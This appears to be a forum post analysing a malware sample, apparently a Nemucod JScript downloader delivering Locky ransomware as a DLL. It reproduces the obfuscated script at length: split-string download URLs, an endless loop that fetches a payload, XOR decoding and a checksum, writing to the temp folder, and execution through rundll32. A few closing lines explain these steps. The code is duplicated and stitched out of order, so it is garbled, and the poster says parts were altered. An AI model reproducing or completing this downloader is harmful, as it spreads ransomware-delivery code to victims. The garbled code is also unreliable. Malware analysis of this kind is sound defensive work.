var Dn5 = "t" + "";
var VHj4 = "m1" + "";
var NZa2 = "b9" + "";
var TKb3 = "m/" + "";
var Vc2 = "o" + "";
var MEw1 = ".c" + "";
var YXv5 = "id" + "";
var Ak = "elr" + "";
var Po3 = "u" + "";
var QSu = "/d" + "";
var Ow4 = ":/" + "";
var WBq = "p" + "";
var ZCl = "htt" + "";
var Ls4 = "gk" + "";
var Dr = "d7" + "";
var Dq = "ds" + "";
var AGi8 = "om/" + "";
var LMc = "y.c" + "";
var Tv = "ur" + "";
var RHg6 = "dzeb" + "";
var Hu1 = "/a" + "";
var Rf = ":/" + "";
var SQk2 = "tp" + "";
var TAh2 = "ht" + "";
var Ta1 = "3ib4f" + "";
var Ad8 = "/e" + "";
var Gg2 = "et" + "";
var OIy = ".n" + "";
var DFt2 = "en" + "";
var HTq6 = "ay" + "";
var Za = "yd" + "";
var Tp6 = "://ma" + "";
var EQm1 = "tp" + "";
var LYu = "ht" + "";
var RUp6 = "437" + "";
var HAj = "th" + "";
var GZc = "ng" + "";
var Yq = "le" + "";
var YRz = "5" + "";
var Vo3 = "55" + "";
var HEk4 = "5555" + "";
var Pm2 = "5555" + "";
var OXa = "55555" + "";
var PAj0 = "5555" + "";
var Sq = "55" + "";
var Wh8 = "55" + "";
var AGf5 = "555" + "";
var ZIv = "555" + "";
var Ht4 = "55555" + "";
var Pe = "55555" + "";
var FLt = "5555" + "";
var JFt3 = "55555" + "";
var NRs4 = "55555" + "";
var Dm = "sfd" + "";
var Kh = "dfa" + "";
var Wm7 = "asfas" + "";
var Vc = "th" + "";
var Yf = "leng" + "";
var CTd5 = "55555" + "";
var Av = "gth" + "";
var ZJb = "len" + "";
var Bl8 = "5555" + "";
var Hg = "55555" + "";
var IOu = "5555" + "";
var KHx = "55" + "";
var Sd = "55" + "";
var QFz9 = "55555" + "";
var Bq = "5555" + "";
var Tz9 = "132" + "";
var Ai = "1123" + "";
var Xl3 = (Ai + Tz9, Bq + QFz9 + Sd + KHx + IOu + Hg + Bl8);
var ELs = Xl3[ZJb + Av];
var NQf6 = (CTd5);
var Uw = [18807, 7552, 23965];
var Nf = NQf6[ZJb + Av];
var SPz0 = (Wm7 + Kh + Dm, NRs4 + JFt3 + FLt + Pe + Ht4 + ZIv + AGf5 + Wh8 + Sq + PAj0 + OXa + Pm2 + HEk4 + Vo3 + YRz);
var QAl8 = SPz0[ZJb + Av];
var XWe = 1;
var DAb4 = 2;
var GLq = 2;
var MBi0 = "437";
var TIk = [LYu + EQm1 + Tp6 + Za + HTq6 + DFt2 + OIy + Gg2 + Ad8 + Ta1, TAh2 + SQk2 + Rf + Hu1 + RHg6 + Tv + LMc + AGi8 + Dq + Dr + Ls4, TAh2 + SQk2 + Ow4 + QSu + Po3 + Ak + YXv5 + MEw1 + Vc2 + TKb3 + NZa2 + VHj4 + Dn5, TAh2 + SQk2 + FAi2 + NHe3 + MQh7 + Cn + IGq + LLy5 + Pu9 + UOz + RHj + Ze8, TAh2 + SQk2 + Hl + AZz + DVp + Zn1 + Ik + QXr + LMc + Td + QNd + Ty + Lc];
var MTm6 = WScript[MOq + Lf4 + Xf0](LSk + Fk + OHb + PVg7 + Tp7);
var Io = MTm6.ExpandEnvironmentStrings(Nz + OPo);
var Lp9 = Io + Ri6 + TPc8 + DXl1 + Ag;
var IVi2 = Lp9 + Dc + Ay1;
var Ww = MTm6.Environment(KPm + Nu);
if (Ww(Cd + Jz + GNu0 + DSl + LGx0 + Vn0).toLowerCase() == "amd64") {
var ENa6 = MTm6.ExpandEnvironmentStrings(ZUi4);
} else {var ENa6 = MTm6.ExpandEnvironmentStrings(YZa3);
}function random(range, s) {
s[0] = 171 * s[-6915 + 6915] % 30269;
s[1] = (5745 - 5573) * s[1] % 30307;
s[2] = 170 * s[2] % 30323;
var r = (s[0] / 30269 + s[4353 - 4352] / 30307 + s[2] / 30323) % 1.0;
return Math[FAt8 + IZr](r * range);
}s[1] = (5745 - 5573) * s[1] % 30307;
s[2] = 170 * s[2] % 30323;
var r = (s[0] / 30269 + s[4353 - 4352] / 30307 + s[2] / 30323) % 1.0;
return Math[FAt8 + IZr](r * range);
var Zm6 = [LCo + Bp + Ty0 + IVz + Jm1, Mu + EMb + OJe1 + Yu8 + Sz9 + Nq0 + DFe5];
for (var OPr3 = 0; OPr3 < Zm6[ZJb + Av]; OPr3++) {
try {
var Ma6 = WScript[MOq + Lf4 + Xf0](Zm6[OPr3]);
break;
} catch (e) {
continue;
}
};var Ma6 = WScript[MOq + Lf4 + Xf0](Zm6[OPr3]);
break;
} catch (e) {
continue;
}
var El = "";
var fso = new ActiveXObject(WHr0 + HHy + JRt8 + Qc0 + DVr + VTi + YHq9);
var WBe = Uw.slice();
WBe[0] = Math.random() * 29999 | 0;
var Em = 0;
do {
if (fso[Te2 + LLv + Lp](IVi2)) {
try {
if (0 == Em) {
var Gr = random_(TIk[ZJb + Av], WBe);
Ma6[DFa](YPc + Gg, TIk[Gr++ % TIk[ZJb + Av]], false);
Ma6[Yp + Sy3]();
while (Ma6.readystate < (1 * 4)) WScript[CPi](6 * 16 + 4);
var UFn4 = WScript[MOq + Lf4 + Xf0](Hz + EJz + Vm6 + OPp + Ba1 + ZJo);
UFn4[DFa]();
UFn4[TGb7] = XWe;
UFn4[DQq + Js](Ma6[PAw1 + XTy + ZYz + SKa9]);
UFn4[Ym + WMi] = 0;
UFn4[Cf3 + CKl8 + He + St0](Lp9 , GLq);
UFn4[Zg0 + Bs5]();
var JEc3 = HIi(Lp9 );
JEc3 = Kx1(JEc3);
if (JEc3[ZJb + Av] < (2703 - 2603) * 1024 || JEc3[ZJb + Av] > (74 * 3 + 8) * 1024) {
continue;
}
OMb(IVi2, JEc3);
Em = 1;
}
var Uv = fso.GetFile(IVi2);
var Lj4 = Uv.ShortPath;
MTm6[TFn + NKm](ENa6 + Aw6 + Lj4 + Eg + Pv3 + Cg + Pa + Yg1);
WScript.Sleep(20000);
} catch (e) {
WScript[CPi](1000);
continue;
};
} while (1);var Uv = fso.GetFile(IVi2);
var Lj4 = Uv.ShortPath;
El = Lj4 + Hs + Yu;
if (fso[Te2 + LLv + Lp](El )) {
this[DAn2 + FXo][Pi9](0);
}
}var Lj4 = Uv.ShortPath;
El = Lj4 + Hs + Yu;
if (fso[Te2 + LLv + Lp](El )) {
this[DAn2 + FXo][Pi9](0);
}
try {
if (0 == Em) {
var Gr = random_(TIk[ZJb + Av], WBe);
Ma6[DFa](YPc + Gg, TIk[Gr++ % TIk[ZJb + Av]], false);
Ma6[Yp + Sy3]();
while (Ma6.readystate < (1 * 4)) WScript[CPi](6 * 16 + 4);
var UFn4 = WScript[MOq + Lf4 + Xf0](Hz + EJz + Vm6 + OPp + Ba1 + ZJo);
UFn4[DFa]();
UFn4[TGb7] = XWe;
UFn4[DQq + Js](Ma6[PAw1 + XTy + ZYz + SKa9]);
UFn4[Ym + WMi] = 0;
UFn4[Cf3 + CKl8 + He + St0](Lp9 , GLq);
UFn4[Zg0 + Bs5]();
var JEc3 = HIi(Lp9 );
JEc3 = Kx1(JEc3);
if (JEc3[ZJb + Av] < (2703 - 2603) * 1024 || JEc3[ZJb + Av] > (74 * 3 + 8) * 1024) {
continue;
}
OMb(IVi2, JEc3);
Em = 1;
}
var Uv = fso.GetFile(IVi2);
var Lj4 = Uv.ShortPath;
MTm6[TFn + NKm](ENa6 + Aw6 + Lj4 + Eg + Pv3 + Cg + Pa + Yg1);
WScript.Sleep(20000);
} catch (e) {
WScript[CPi](1000);
continue;
};
WScript.Quit(0);
function Kx1(IGv7) {
var Fm;
var AJf = Uw.slice();
for (var OPr3 = 6780 - 6780; OPr3 < IGv7[ZJb + Av]; OPr3++) {
IGv7[OPr3] ^= random(256, AJf);
}var AJf = Uw.slice();
for (var OPr3 = 6780 - 6780; OPr3 < IGv7[ZJb + Av]; OPr3++) {
IGv7[OPr3] ^= random(256, AJf);
var Yz = IGv7[IGv7[ZJb + Av] - 4] | IGv7[IGv7[ZJb + Av] - 3] << 8 | IGv7[IGv7[ZJb + Av] - 2] << 16 | IGv7[IGv7[ZJb + Av] - 1] << 24;
IGv7[Ea0 + Re](JEc3[ZJb + Av] - 4, 4);
Fm = ELs;
for (var OPr3 = 0; OPr3 < IGv7[ZJb + Av]; OPr3++) {
Fm = (Fm + IGv7[OPr3]) % 1000000000;
};if (Fm != Yz) {
return [];
};
return IGv7;
};
function HIi(IDz0) {
var CJf2 = WScript[MOq + Lf4 + Xf0](Hz + EJz + Vm6 + OPp + Ba1 + ZJo);
CJf2[TGb7] = DAb4;
CJf2[Ci6 + Jw + Nr9] = MBi0;
CJf2[DFa]();
CJf2[Uc + YWz + Yz0 + YRr3](IDz0);
var Nq = CJf2[Sp3 + WGl5];
CJf2[Zg0 + Bs5]();
return IGi2 (Nq);
};CJf2[TGb7] = DAb4;
CJf2[Ci6 + Jw + Nr9] = MBi0;
CJf2[DFa]();
CJf2[Uc + YWz + Yz0 + YRr3](IDz0);
var Nq = CJf2[Sp3 + WGl5];
CJf2[Zg0 + Bs5]();
return IGi2 (Nq);
function IGi2 (MOk3) {
var HFw3 = new Array();
HFw3[199] = 128;
HFw3[12 * 21] = -9198 + 9327;
HFw3[233] = 130;
HFw3[226] = 131;
HFw3[47 * 4 + 40] = 1687 - 1555;
HFw3[72 * 3 + 8] = 7628 - 7495;
HFw3[229] = 134;
HFw3[75 * 3 + 6] = 135;
HFw3[234] = 136;
HFw3[235] = 137;
HFw3[232] = 138;
HFw3[239] = 139;
HFw3[238] = 140;
HFw3[69 * 3 + 29] = 141;
HFw3[196] = 142;
HFw3[197] = 143;
HFw3[201] = -1186 + 1330;
HFw3[230] = 145;
HFw3[198] = 8314 - 8168;
HFw3[244] = 5317 - 5170;
HFw3[246] = 148;
HFw3[242] = 149;
HFw3[8816 - 8565] = -1779 + 1929;
HFw3[249] = 151;
HFw3[255] = -145 + 297;
HFw3[214] = 153;
HFw3[92 * 2 + 36] = -7038 + 7192;
HFw3[162] = 155;
HFw3[679 - 516] = 156;
HFw3[165] = 157;
HFw3[8359] = 158;
HFw3[-2719 + 3121] = 159;
HFw3[225] = 160;
HFw3[237] = 161;
HFw3[243] = 162;
HFw3[53 * 4 + 38] = 55 * 2 + 53;
HFw3[241] = 164;
HFw3[209] = 165;
HFw3[170] = 166;
HFw3[186] = 167;
HFw3[191] = 168;
HFw3[11942 - 2966] = 81 + 88;
HFw3[172] = 170;
HFw3[189] = 171;
HFw3[188] = 172;
HFw3[161] = 173;
HFw3[5240 - 5069] = 174;
HFw3[799 - 612] = 175;
HFw3[9617] = 176;
HFw3[13946 - 4328] = 177;
HFw3[15854 - 6235] = 9207 - 9029;
HFw3[9474] = 179;
HFw3[9508] = 180;
HFw3[9569] = 52 * 3 + 25;
HFw3[9570] = 1117 - 935;
HFw3[9558] = 183;
HFw3[9557] = 10 * 18 + 4;
HFw3[9571] = 185;
HFw3[9553] = 186;
HFw3[9559] = 187;
HFw3[9565] = 1929 - 1741;
HFw3[9564] = 189;
HFw3[9563] = 190;
HFw3[9488] = 191;
HFw3[9492] = 192;
HFw3[9524] = 193;
HFw3[11929 - 2413] = 194;
HFw3[9500] = 41 * 4 + 31;
HFw3[9472] = -2762 + 2958;
HFw3[9532] = 1441 - 1244;
HFw3[9566] = -8051 + 8249;
HFw3[14992 - 5425] = 199;
HFw3[9562] = 8 * 25;
HFw3[9556] = 1326 - 1125;
HFw3[9577] = 86 * 2 + 30;
HFw3[9574] = -8592 + 8795;
HFw3[10414 - 846] = 96 * 2 + 12;
HFw3[9552] = 26 * 7 + 23;
HFw3[19345 - 9765] = 206;
HFw3[9575] = 207;
HFw3[7526 + 2050] = 208;
HFw3[9572] = 209;
HFw3[3063 + 6510] = 1488 - 1278;
HFw3[9561] = 211;
HFw3[9560] = 212;
HFw3[9554] = 213;
HFw3[9555] = 214;
HFw3[9579] = 215;
HFw3[4261 * 2 + 1056] = 216;
HFw3[9496] = 217;
HFw3[8068 + 1416] = 218;
HFw3[9608] = 219;
HFw3[9604] = -2198 + 2418;
HFw3[9612] = 221;
HFw3[9616] = 222;
HFw3[10749 - 1149] = 93 * 2 + 37;
HFw3[945] = -3876 + 4100;
HFw3[223] = 4571 - 4346;
HFw3[915] = 226;
HFw3[960] = 227;
HFw3[931] = 7833 - 7605;
HFw3[462 * 2 + 39] = 229;
HFw3[181] = 230;
HFw3[964] = 231;
HFw3[439 * 2 + 56] = 232;
HFw3[920] = 233;
HFw3[3951 - 3014] = 67 * 3 + 33;
HFw3[948] = 235;
HFw3[8734] = 236;
HFw3[966] = -1535 + 1772;
HFw3[949] = 238;
HFw3[8745] = 239;
HFw3[8801] = -7783 + 8023;
HFw3[177] = 241;
HFw3[8805] = 4104 - 3862;
HFw3[8804] = 243;
HFw3[8992] = 81 * 3 + 1;
HFw3[8993] = 245;
HFw3[5715 - 5468] = 246;
HFw3[160 + 8616] = 247;
HFw3[176] = 248;
HFw3[1711 * 5 + 174] = 4708 - 4459;
HFw3[183] = 43 * 5 + 35;
HFw3[8730] = 251;
HFw3[8319] = -4633 + 4885;
HFw3[178] = 253;
HFw3[9632] = 254;
HFw3[4389 - 4229] = 255;
var JEc3 = new Array();
for (var OPr3 = 9924 - 9924; OPr3 < MOk3[ZJb + Av]; OPr3++) {
var IBx3 = MOk3[Ar5 + DOz + XUy3](OPr3);
if (IBx3 < 128) {
var Nt5 = IBx3;
} else {
var Nt5 = HFw3[IBx3];
}
JEc3[BUj](Nt5);
};
return JEc3;
};HFw3[199] = 128;
HFw3[12 * 21] = -9198 + 9327;
HFw3[233] = 130;
HFw3[226] = 131;
HFw3[47 * 4 + 40] = 1687 - 1555;
HFw3[72 * 3 + 8] = 7628 - 7495;
HFw3[229] = 134;
HFw3[75 * 3 + 6] = 135;
HFw3[234] = 136;
HFw3[235] = 137;
HFw3[232] = 138;
HFw3[239] = 139;
HFw3[238] = 140;
HFw3[69 * 3 + 29] = 141;
HFw3[196] = 142;
HFw3[197] = 143;
HFw3[201] = -1186 + 1330;
HFw3[230] = 145;
HFw3[198] = 8314 - 8168;
HFw3[244] = 5317 - 5170;
HFw3[246] = 148;
HFw3[242] = 149;
HFw3[8816 - 8565] = -1779 + 1929;
HFw3[249] = 151;
HFw3[255] = -145 + 297;
HFw3[214] = 153;
HFw3[92 * 2 + 36] = -7038 + 7192;
HFw3[162] = 155;
HFw3[679 - 516] = 156;
HFw3[165] = 157;
HFw3[8359] = 158;
HFw3[-2719 + 3121] = 159;
HFw3[225] = 160;
HFw3[237] = 161;
HFw3[243] = 162;
HFw3[53 * 4 + 38] = 55 * 2 + 53;
HFw3[241] = 164;
HFw3[209] = 165;
HFw3[170] = 166;
HFw3[186] = 167;
HFw3[191] = 168;
HFw3[11942 - 2966] = 81 + 88;
HFw3[172] = 170;
HFw3[189] = 171;
HFw3[188] = 172;
HFw3[161] = 173;
HFw3[5240 - 5069] = 174;
HFw3[799 - 612] = 175;
HFw3[9617] = 176;
HFw3[13946 - 4328] = 177;
HFw3[15854 - 6235] = 9207 - 9029;
HFw3[9474] = 179;
HFw3[9508] = 180;
HFw3[9569] = 52 * 3 + 25;
HFw3[9570] = 1117 - 935;
HFw3[9558] = 183;
HFw3[9557] = 10 * 18 + 4;
HFw3[9571] = 185;
HFw3[9553] = 186;
HFw3[9559] = 187;
HFw3[9565] = 1929 - 1741;
HFw3[9564] = 189;
HFw3[9563] = 190;
HFw3[9488] = 191;
HFw3[9492] = 192;
HFw3[9524] = 193;
HFw3[11929 - 2413] = 194;
HFw3[9500] = 41 * 4 + 31;
HFw3[9472] = -2762 + 2958;
HFw3[9532] = 1441 - 1244;
HFw3[9566] = -8051 + 8249;
HFw3[14992 - 5425] = 199;
HFw3[9562] = 8 * 25;
HFw3[9556] = 1326 - 1125;
HFw3[9577] = 86 * 2 + 30;
HFw3[9574] = -8592 + 8795;
HFw3[10414 - 846] = 96 * 2 + 12;
HFw3[9552] = 26 * 7 + 23;
HFw3[19345 - 9765] = 206;
HFw3[9575] = 207;
HFw3[7526 + 2050] = 208;
HFw3[9572] = 209;
HFw3[3063 + 6510] = 1488 - 1278;
HFw3[9561] = 211;
HFw3[9560] = 212;
HFw3[9554] = 213;
HFw3[9555] = 214;
HFw3[9579] = 215;
HFw3[4261 * 2 + 1056] = 216;
HFw3[9496] = 217;
HFw3[8068 + 1416] = 218;
HFw3[9608] = 219;
HFw3[9604] = -2198 + 2418;
HFw3[9612] = 221;
HFw3[9616] = 222;
HFw3[10749 - 1149] = 93 * 2 + 37;
HFw3[945] = -3876 + 4100;
HFw3[223] = 4571 - 4346;
HFw3[915] = 226;
HFw3[960] = 227;
HFw3[931] = 7833 - 7605;
HFw3[462 * 2 + 39] = 229;
HFw3[181] = 230;
HFw3[964] = 231;
HFw3[439 * 2 + 56] = 232;
HFw3[920] = 233;
HFw3[3951 - 3014] = 67 * 3 + 33;
HFw3[948] = 235;
HFw3[8734] = 236;
HFw3[966] = -1535 + 1772;
HFw3[949] = 238;
HFw3[8745] = 239;
HFw3[8801] = -7783 + 8023;
HFw3[177] = 241;
HFw3[8805] = 4104 - 3862;
HFw3[8804] = 243;
HFw3[8992] = 81 * 3 + 1;
HFw3[8993] = 245;
HFw3[5715 - 5468] = 246;
HFw3[160 + 8616] = 247;
HFw3[176] = 248;
HFw3[1711 * 5 + 174] = 4708 - 4459;
HFw3[183] = 43 * 5 + 35;
HFw3[8730] = 251;
HFw3[8319] = -4633 + 4885;
HFw3[178] = 253;
HFw3[9632] = 254;
HFw3[4389 - 4229] = 255;
var JEc3 = new Array();
for (var OPr3 = 9924 - 9924; OPr3 < MOk3[ZJb + Av]; OPr3++) {
var IBx3 = MOk3[Ar5 + DOz + XUy3](OPr3);
if (IBx3 < 128) {
var Nt5 = IBx3;
} else {
var Nt5 = HFw3[IBx3];
}
JEc3[BUj](Nt5);
};
return JEc3;
function OMb(IDz0, IGv7) {
var CJf2 = WScript[MOq + Lf4 + Xf0](Hz + EJz + Vm6 + OPp + Ba1 + ZJo);
CJf2[TGb7] = DAb4;
CJf2[Ci6 + Jw + Nr9] = MBi0;
CJf2[DFa]();
CJf2[Ia + Zp5](St(IGv7));
CJf2[Cf3 + CKl8 + He + St0](IDz0, 2);
CJf2[Zg0 + Bs5]();
};CJf2[TGb7] = DAb4;
CJf2[Ci6 + Jw + Nr9] = MBi0;
CJf2[DFa]();
CJf2[Ia + Zp5](St(IGv7));
CJf2[Cf3 + CKl8 + He + St0](IDz0, 2);
CJf2[Zg0 + Bs5]();
function St(IGv7) {
var Vi5 = new Array();
Vi5[128] = 6991 - 6792;
Vi5[129] = 32 * 7 + 28;
Vi5[130] = 233;
Vi5[131] = 226;
Vi5[132] = 228;
Vi5[133] = 224;
Vi5[134] = 4413 - 4184;
Vi5[135] = 231;
Vi5[136] = -6547 + 6781;
Vi5[137] = 235;
Vi5[138] = 1841 - 1609;
Vi5[139] = 239;
Vi5[140] = 4600 - 4362;
Vi5[141] = 236;
Vi5[142] = 196;
Vi5[143] = 197;
Vi5[144] = 14 * 14 + 5;
Vi5[145] = 230;
Vi5[146] = 2664 - 2466;
Vi5[147] = 244;
Vi5[148] = 246;
Vi5[149] = 242;
Vi5[150] = 251;
Vi5[151] = 249;
Vi5[-2390 + 2542] = 255;
Vi5[153] = 19 * 11 + 5;
Vi5[154] = 220;
Vi5[155] = 162;
Vi5[-6579 + 6735] = 163;
Vi5[157] = 165;
Vi5[158] = 8902 - 543;
Vi5[159] = 402;
Vi5[37 * 4 + 12] = 225;
Vi5[18 * 8 + 17] = 237;
Vi5[162] = 243;
Vi5[4639 - 4476] = 250;
Vi5[164] = 241;
Vi5[-8144 + 8309] = 209;
Vi5[166] = 170;
Vi5[167] = 186;
Vi5[168] = 191;
Vi5[169] = 2864 * 3 + 384;
Vi5[170] = -7529 + 7701;
Vi5[171] = 189;
Vi5[23 * 7 + 11] = 188;
Vi5[173] = 161;
Vi5[-7531 + 7705] = 5717 - 5546;
Vi5[8097 - 7922] = 187;
Vi5[176] = 9617;
Vi5[177] = 9618;
Vi5[178] = 9619;
Vi5[9440 - 9261] = 14406 - 4932;
Vi5[180] = 9508;
Vi5[38 * 4 + 29] = 9569;
Vi5[182] = 9570;
Vi5[183] = 2459 + 7099;
Vi5[-2797 + 2981] = 9557;
Vi5[7134 - 6949] = 9571;
Vi5[51 * 3 + 33] = 9553;
Vi5[187] = 2337 + 7222;
Vi5[7339 - 7151] = 2995 + 6570;
Vi5[8 * 23 + 5] = 4289 * 2 + 986;
Vi5[190] = 4443 * 2 + 677;
Vi5[191] = 13066 - 3578;
Vi5[8581 - 8389] = 9492;
Vi5[193] = 9524;
Vi5[-109 + 303] = 9516;
Vi5[195] = 9500;
Vi5[81 * 2 + 34] = 18257 - 8785;
Vi5[197] = 9532;
Vi5[198] = 9566;
Vi5[199] = 9567;
Vi5[200] = 9562;
Vi5[201] = 9556;
Vi5[202] = 9067 + 510;
Vi5[203] = 9574;
Vi5[-6477 + 6681] = 9568;
Vi5[205] = 9552;
Vi5[60 * 3 + 26] = 4780 * 2 + 20;
Vi5[207] = 9575;
Vi5[208] = 9576;
Vi5[7238 - 7029] = 9572;
Vi5[210] = 9573;
Vi5[9163 - 8952] = 9561;
Vi5[6673 - 6461] = 9560;
Vi5[213] = 1621 + 7933;
Vi5[214] = 9555;
Vi5[2756 - 2541] = 9579;
Vi5[216] = 9578;
Vi5[217] = 9496;
Vi5[218] = 9484;
Vi5[219] = 300 + 9308;
Vi5[220] = 9604;
Vi5[90 + 131] = 9612;
Vi5[222] = 6276 + 3340;
Vi5[223] = 9600;
Vi5[224] = 945;
Vi5[225] = 223;
Vi5[226] = 915;
Vi5[227] = 960;
Vi5[9857 - 9629] = 931;
Vi5[10135 - 9906] = 963;
Vi5[104 * 2 + 22] = 181;
Vi5[231] = 964;
Vi5[47 * 4 + 44] = 2933 - 1999;
Vi5[233] = 920;
Vi5[234] = 937;
Vi5[235] = 948;
Vi5[236] = 8734;
Vi5[-2378 + 2615] = 966;
Vi5[238] = 949;
Vi5[6668 - 6429] = 8745;
Vi5[-2938 + 3178] = 8801;
Vi5[241] = -5759 + 5936;
Vi5[93 * 2 + 56] = 8805;
Vi5[6019 - 5776] = 8804;
Vi5[244] = 18481 - 9489;
Vi5[245] = 8993;
Vi5[246] = 247;
Vi5[247] = 1374 + 7402;
Vi5[248] = 176;
Vi5[249] = 8729;
Vi5[250] = 2841 - 2658;
Vi5[251] = 8730;
Vi5[-2317 + 2569] = 8319;
Vi5[253] = 71 * 2 + 36;
Vi5[-6173 + 6427] = 9632;
Vi5[255] = 1237 - 1077;
var Vu = new Array();
var Gn2 = "";
var Nt5;
var IBx3;
for (var OPr3 = 1 * 0; OPr3 < IGv7[ZJb + Av]; OPr3++) {
Nt5 = IGv7[OPr3];
if (Nt5 < 128) {
IBx3 = Nt5;
} else {
IBx3 = Vi5[Nt5];
}
Vu.push(String[KPq4 + GUu + FXa9](IBx3));
}
Gn2 = Vu[LCv7]("");
return Gn2;Vi5[128] = 6991 - 6792;
Vi5[129] = 32 * 7 + 28;
Vi5[130] = 233;
Vi5[131] = 226;
Vi5[132] = 228;
Vi5[133] = 224;
Vi5[134] = 4413 - 4184;
Vi5[135] = 231;
Vi5[136] = -6547 + 6781;
Vi5[137] = 235;
Vi5[138] = 1841 - 1609;
Vi5[139] = 239;
Vi5[140] = 4600 - 4362;
Vi5[141] = 236;
Vi5[142] = 196;
Vi5[143] = 197;
Vi5[144] = 14 * 14 + 5;
Vi5[145] = 230;
Vi5[146] = 2664 - 2466;
Vi5[147] = 244;
Vi5[148] = 246;
Vi5[149] = 242;
Vi5[150] = 251;
Vi5[151] = 249;
Vi5[-2390 + 2542] = 255;
Vi5[153] = 19 * 11 + 5;
Vi5[154] = 220;
Vi5[155] = 162;
Vi5[-6579 + 6735] = 163;
Vi5[157] = 165;
Vi5[158] = 8902 - 543;
Vi5[159] = 402;
Vi5[37 * 4 + 12] = 225;
Vi5[18 * 8 + 17] = 237;
Vi5[162] = 243;
Vi5[4639 - 4476] = 250;
Vi5[164] = 241;
Vi5[-8144 + 8309] = 209;
Vi5[166] = 170;
Vi5[167] = 186;
Vi5[168] = 191;
Vi5[169] = 2864 * 3 + 384;
Vi5[170] = -7529 + 7701;
Vi5[171] = 189;
Vi5[23 * 7 + 11] = 188;
Vi5[173] = 161;
Vi5[-7531 + 7705] = 5717 - 5546;
Vi5[8097 - 7922] = 187;
Vi5[176] = 9617;
Vi5[177] = 9618;
Vi5[178] = 9619;
Vi5[9440 - 9261] = 14406 - 4932;
Vi5[180] = 9508;
Vi5[38 * 4 + 29] = 9569;
Vi5[182] = 9570;
Vi5[183] = 2459 + 7099;
Vi5[-2797 + 2981] = 9557;
Vi5[7134 - 6949] = 9571;
Vi5[51 * 3 + 33] = 9553;
Vi5[187] = 2337 + 7222;
Vi5[7339 - 7151] = 2995 + 6570;
Vi5[8 * 23 + 5] = 4289 * 2 + 986;
Vi5[190] = 4443 * 2 + 677;
Vi5[191] = 13066 - 3578;
Vi5[8581 - 8389] = 9492;
Vi5[193] = 9524;
Vi5[-109 + 303] = 9516;
Vi5[195] = 9500;
Vi5[81 * 2 + 34] = 18257 - 8785;
Vi5[197] = 9532;
Vi5[198] = 9566;
Vi5[199] = 9567;
Vi5[200] = 9562;
Vi5[201] = 9556;
Vi5[202] = 9067 + 510;
Vi5[203] = 9574;
Vi5[-6477 + 6681] = 9568;
Vi5[205] = 9552;
Vi5[60 * 3 + 26] = 4780 * 2 + 20;
Vi5[207] = 9575;
Vi5[208] = 9576;
Vi5[7238 - 7029] = 9572;
Vi5[210] = 9573;
Vi5[9163 - 8952] = 9561;
Vi5[6673 - 6461] = 9560;
Vi5[213] = 1621 + 7933;
Vi5[214] = 9555;
Vi5[2756 - 2541] = 9579;
Vi5[216] = 9578;
Vi5[217] = 9496;
Vi5[218] = 9484;
Vi5[219] = 300 + 9308;
Vi5[220] = 9604;
Vi5[90 + 131] = 9612;
Vi5[222] = 6276 + 3340;
Vi5[223] = 9600;
Vi5[224] = 945;
Vi5[225] = 223;
Vi5[226] = 915;
Vi5[227] = 960;
Vi5[9857 - 9629] = 931;
Vi5[10135 - 9906] = 963;
Vi5[104 * 2 + 22] = 181;
Vi5[231] = 964;
Vi5[47 * 4 + 44] = 2933 - 1999;
Vi5[233] = 920;
Vi5[234] = 937;
Vi5[235] = 948;
Vi5[236] = 8734;
Vi5[-2378 + 2615] = 966;
Vi5[238] = 949;
Vi5[6668 - 6429] = 8745;
Vi5[-2938 + 3178] = 8801;
Vi5[241] = -5759 + 5936;
Vi5[93 * 2 + 56] = 8805;
Vi5[6019 - 5776] = 8804;
Vi5[244] = 18481 - 9489;
Vi5[245] = 8993;
Vi5[246] = 247;
Vi5[247] = 1374 + 7402;
Vi5[248] = 176;
Vi5[249] = 8729;
Vi5[250] = 2841 - 2658;
Vi5[251] = 8730;
Vi5[-2317 + 2569] = 8319;
Vi5[253] = 71 * 2 + 36;
Vi5[-6173 + 6427] = 9632;
Vi5[255] = 1237 - 1077;
var Vu = new Array();
var Gn2 = "";
var Nt5;
var IBx3;
for (var OPr3 = 1 * 0; OPr3 < IGv7[ZJb + Av]; OPr3++) {
Nt5 = IGv7[OPr3];
if (Nt5 < 128) {
IBx3 = Nt5;
} else {
IBx3 = Vi5[Nt5];
}
Vu.push(String[KPq4 + GUu + FXa9](IBx3));
}
Gn2 = Vu[LCv7]("");
};
As usual I modified some parts to avoid copy-paste => save => run => infection
In bold, the main do..while "infinite" loop (once run, the script tries to download the obfuscated payload until it is successfully done and deobfuscated, or if the script is stopped)
=> the important parts of the script are easy to read only after var replacement
Example :
An obfuscated payload is downloaded by the script, then deobfuscated by several decipher functions, XOR etc, to become a real .dll file (old version : exe file)
var YZa3 = "%SystemRoot%\\system32\\rundll32.exe" + "";
var ZUi4 = "%SystemRoot%\\SysWOW64\\rundll32.exe" + "";
=> one of them is used to run the dll, depending on architecture of proc
Here for details (with some links to complete deobfuscated previous version)
https://malwaretips.com/threads/new...rojandownloader-nemucod-asx-26_08_2016.62839/
Example :
var LCv7 = "join" + "";
var FXa9 = "Code" + "";
var GUu = "har" + "";
var KPq4 = "fromC" + "";
var XQg1 = "ngth" + "";
var QLf = "le" + "";
var PVc6 = "close" + "";
var UEs = "le" + "";
var Oc = "ToFi" + "";
var Sr = "Save" + "";
var Zp5 = "Text" + "";
var Ia = "write" + "";
var Oy1 = "open" + "";
and later :
var TIk = [LYu + EQm1 + Tp6 + Za + HTq6 + DFt2 + OIy + Gg2 + Ad8 + Ta1, TAh2 + SQk2 + Rf + Hu1 + RHg6 + Tv + LMc + AGi8 + Dq + Dr + Ls4, TAh2 + SQk2 + Ow4 + QSu + Po3 + Ak + YXv5 + MEw1 + Vc2 + TKb3 + NZa2 + VHj4 + Dn5, TAh2 + SQk2 + FAi2 + NHe3 + MQh7 + Cn + IGq + LLy5 + Pu9 + UOz + RHj + Ze8, TAh2 + SQk2 + Hl + AZz + DVp + Zn1 + Ik + QXr + LMc + Td + QNd + Ty + Lc];
var MTm6 = WScript[MOq + Lf4 + Xf0](LSk + Fk + OHb + PVg7 + Tp7);
=> Similar to previous analysis for nemucod / new locky as dllvar FXa9 = "Code" + "";
var GUu = "har" + "";
var KPq4 = "fromC" + "";
var XQg1 = "ngth" + "";
var QLf = "le" + "";
var PVc6 = "close" + "";
var UEs = "le" + "";
var Oc = "ToFi" + "";
var Sr = "Save" + "";
var Zp5 = "Text" + "";
var Ia = "write" + "";
var Oy1 = "open" + "";
and later :
